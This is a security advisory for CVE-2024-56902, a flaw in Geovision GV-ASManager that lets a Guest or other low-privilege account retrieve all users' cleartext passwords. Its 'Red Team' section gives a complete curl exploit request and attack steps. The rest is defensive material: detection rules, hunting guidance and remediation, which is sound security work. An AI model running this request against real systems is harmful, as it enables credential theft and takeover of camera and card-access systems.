CVE-2024-56902

Executive Summary

CVE-2024-56902 is an information disclosure vulnerability in the Geovision GV-ASManager web application (version 6.1.0.0 or less). An authenticated attacker with a low-privilege account (e.g., the default "Guest" account with a blank password) can enumerate all user accounts and retrieve cleartext passwords via a crafted POST request to the ASWebCommon.srf endpoint. This allows full compromise of the access control system, including monitoring cameras, card access data, and network configurations. No patch is currently available.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – requires only Guest or low-privilege account.
• User Interaction (UI): None – no user action needed.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – cleartext passwords exposed.
• Integrity (I): High – attacker can modify configurations.
• Availability (A): High – attacker can disrupt services.

Deep Dive & Mechanics

The vulnerability resides in the ASWebCommon.srf endpoint, which handles AJAX requests for the GV-ASManager web interface. The action=UA_GetAllUserAccount parameter triggers a function that returns a list of all user accounts along with their passwords in cleartext. The application fails to enforce proper authorization checks, allowing any authenticated user (including the default Guest account) to invoke this action.

Root Cause: Missing server-side authorization validation for the UA_GetAllUserAccount action. The endpoint only checks for a valid session cookie, not the privilege level of the authenticated user.

Attack Flow:

1. Attacker obtains a valid session cookie (e.g., by logging in as Guest with blank password).
2. Attacker sends a POST request to /ASWeb/bin/ASWebCommon.srf with action=UA_GetAllUserAccount&node=xnode-98.
3. Server returns a JSON response containing all usernames and cleartext passwords.
4. Attacker uses retrieved admin credentials to fully compromise the system.

Vulnerable vs. Patched Code

Vulnerable Code (v6.1.0.0): The server-side handler for UA_GetAllUserAccount does not check the user's role before returning account data.

// Vulnerable pseudocode
function handleAction(action, session) {
    if (action === "UA_GetAllUserAccount") {
        // Missing authorization check
        return getAllUsersWithPasswords();
    }
}

Patched Code (Hypothetical): A patched version would enforce role-based access control, e.g., only allowing administrators to list all accounts.

// Patched pseudocode
function handleAction(action, session) {
    if (action === "UA_GetAllUserAccount") {
        if (session.user.role !== "admin") {
            return { error: "Unauthorized" };
        }
        return getAllUsersWithPasswords();
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running GV-ASManager v6.1.0.0 or less.
• Network access to the web interface (e.g., https://target/ASWeb/Login).
• Guest account enabled (default: username Guest, password blank).

Exploit Steps:

1. Obtain Session Cookie: Log in as Guest (or any low-privilege user) and capture the session cookie (e.g., ASPSESSIONID=...).

2. Execute cURL Exploit: Replace [SET-TARGET] with the target IP/hostname and [SET-COOKIE] with the captured cookie.

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: [SET-TARGET]' \
    -H $'Content-Length: 41' \
    -H $'Sec-Ch-Ua-Platform: \"Linux\"' \
    -H $'X-Requested-With: XMLHttpRequest' \
    -H $'Accept-Language: en-US,en;q=0.9' \
    -H $'Sec-Ch-Ua: \"Not?A_Brand\";v=\"99\", \"Chromium\";v=\"130\"' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -H $'Sec-Ch-Ua-Mobile: ?0' \
    -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36' \
    -H $'Accept: */*' \
    -H $'Origin: https://[SET-TARGET]' \
    -H $'Sec-Fetch-Site: same-origin' \
    -H $'Sec-Fetch-Mode: cors' \
    -H $'Sec-Fetch-Dest: empty' \
    -H $'Accept-Encoding: gzip, deflate, br' \
    -H $'Priority: u=1, i' \
    -H $'Connection: keep-alive' \
    -b $'[SET-COOKIE]' \
    --data-binary $'action=UA_GetAllUserAccount&node=xnode-98' \
    $'https://[SET-TARGET]/ASWeb/bin/ASWebCommon.srf'

3. Parse Response: The response contains all usernames and cleartext passwords in JSON format.

Blue Team

Detection:

• Monitor for POST requests to /ASWeb/bin/ASWebCommon.srf with action=UA_GetAllUserAccount.
• Alert on successful responses containing multiple user entries with password fields.
• Monitor for login attempts using the default Guest account.

Hunting:

• Search web server logs for UA_GetAllUserAccount action.
• Check for unusual session activity from Guest accounts.
• Review access logs for repeated requests to ASWebCommon.srf from the same IP.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_56902_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-56902 in GV-ASManager"
        author = "Valters IT"
        date = "2025-02-02"
        reference = "https://github.com/DRAGOWN/CVE-2024-56902"
    strings:
        $s1 = "action=UA_GetAllUserAccount" ascii wide nocase
        $s2 = "ASWebCommon.srf" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-56902 GV-ASManager Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts for CVE-2024-56902
author: Valters IT
date: 2025-02-02
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=UA_GetAllUserAccount'
        cs-uri-stem|endswith: '/ASWeb/bin/ASWebCommon.srf'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56902 GV-ASManager Information Disclosure"; flow:to_server,established; content:"POST"; http_method; content:"/ASWeb/bin/ASWebCommon.srf"; http_uri; content:"action=UA_GetAllUserAccount"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the default Guest account if not required.
2. Change all passwords for existing accounts.
3. Restrict network access to the GV-ASManager web interface (e.g., VPN only).
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Vendor must release a patch that implements proper authorization checks on the UA_GetAllUserAccount action.
• Until patched, consider deploying a WAF rule to block requests containing action=UA_GetAllUserAccount.

Workaround:

• Modify the web application configuration to disable the vulnerable endpoint if possible.
• Implement additional authentication layers (e.g., multi-factor authentication).

Valters IT

{/* [Security Hash: 60E462A102F44C09699CBDBF] */}